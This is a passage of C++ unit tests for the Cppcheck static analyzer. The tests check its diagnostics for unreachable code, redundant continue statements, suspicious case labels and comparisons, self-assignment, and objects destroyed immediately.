errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n 